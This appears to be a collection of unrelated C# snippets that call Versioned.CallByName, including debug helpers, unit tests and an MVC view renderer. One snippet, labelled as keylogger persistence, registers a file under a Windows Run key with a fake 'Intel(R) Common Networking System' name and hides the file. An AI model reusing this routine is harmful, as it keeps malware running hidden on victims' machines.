/// <summary> /// Get string value of specified member of each item in a list as type T /// </summary> /// <typeparam name="T"></typeparam> /// <param name="list"></param> /// <param name="memberName"></param> /// <returns></returns> /// <remarks></remarks> public static IEnumerable <T> DebugMembers <T>(this IEnumerable list, string memberName) { var res = from object x in list select Versioned.CallByName(x, memberName, CallType.Get); return(res.Cast <T>()); }
public static string GetMessageKey(this MessageAttribute message, object value) => message? .Id? .ToString()? .Split('.') .Aggregate(value, (from, name) => Versioned.CallByName(from, name, CallType.Get))? .ToString();
public void CallByName(object instance, string methodName, CallType useCallType, object[] args, Func <object, object> getResult, object expected) { Assert.Equal(getResult is null ? expected : null, Versioned.CallByName(instance, methodName, useCallType, args)); if (getResult != null) { Assert.Equal(expected, getResult(instance)); } }
public void Record(string str) { // Keylogger peristence = HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run // Record: Intel(R) Common Networking System RuntimeHelpers.GetObjectValue(Versioned.CallByName(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Versioned.CallByName((object) MyProject.Computer, "Registry", CallType.Get))), "SetValue", CallType.Method, (object) "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"), (object) "Intel(R) Common Networking System"), (object) str)); File.SetAttributes(str, FileAttributes.Hidden); }
/// <summary> /// Get string value of specified member of each item in a list as type T /// </summary> /// <typeparam name="T"></typeparam> /// <param name="list"></param> /// <param name="memberName"></param> /// <returns></returns> /// <remarks></remarks> public static IEnumerable <T> DebugMembers <T>(this IEnumerable list, string memberName) { var sb = new List <T>(); var res = from object x in list select Versioned.CallByName(x, memberName, Microsoft.VisualBasic.CallType.Get); return(res.Cast <T>()); }
/// <summary> /// Like DebugMember, but with two members /// </summary> /// <param name="list"></param> /// <param name="memberName"></param> /// <param name="secondMemberName"></param> /// <returns></returns> /// <remarks></remarks> public static object DebugMembers(this IEnumerable list, string memberName, string secondMemberName) { var res = from object x in list select new { Member1 = Versioned.CallByName(x, memberName, CallType.Get), Member2 = Versioned.CallByName(x, secondMemberName, CallType.Get) }; return(res.ToArray()); }
/// <summary> /// Get string representation of Type.Member value /// </summary> /// <typeparam name="T"></typeparam> /// <param name="list"></param> /// <param name="memberName"></param> /// <returns></returns> /// <remarks></remarks> public static string DebugMember <T>(this IEnumerable <T> list, string memberName) { var sb = new StringBuilder(); foreach (var x in list) { var text = Versioned.CallByName(x, memberName, Microsoft.VisualBasic.CallType.Get).ToString(); sb.AppendLine(text); } return(sb.ToString()); }
protected new virtual ContentResult View(string viewName, object model = null) { var controllerContext = this.ControllerContext; var result = ViewEngines.Engines.FindView(controllerContext, viewName, null); StringWriter output; using (output = new StringWriter()) { var dictionary = new ViewDataDictionary(model); var dynamic = this.ViewBag as DynamicObject; if (dynamic != null) { var members = dynamic.GetDynamicMemberNames().ToList(); foreach (string member in members) { var value = Versioned.CallByName(dynamic, member, CallType.Get); dictionary.Add(member, value); } } var viewContext = new ViewContext(controllerContext, result.View, dictionary, controllerContext.Controller.TempData, output); result.View.Render(viewContext, output); result.ViewEngine.ReleaseView(controllerContext, result.View); } string html = CdnHelper.UseCdn(output.ToString()); html = MinificationHelper.Minify(html); return(this.Content(html, "text/html")); }
public void CallByName_MissingMemberException(object instance, string methodName, CallType useCallType, object[] args) { Assert.Throws <MissingMemberException>(() => Versioned.CallByName(instance, methodName, useCallType, args)); }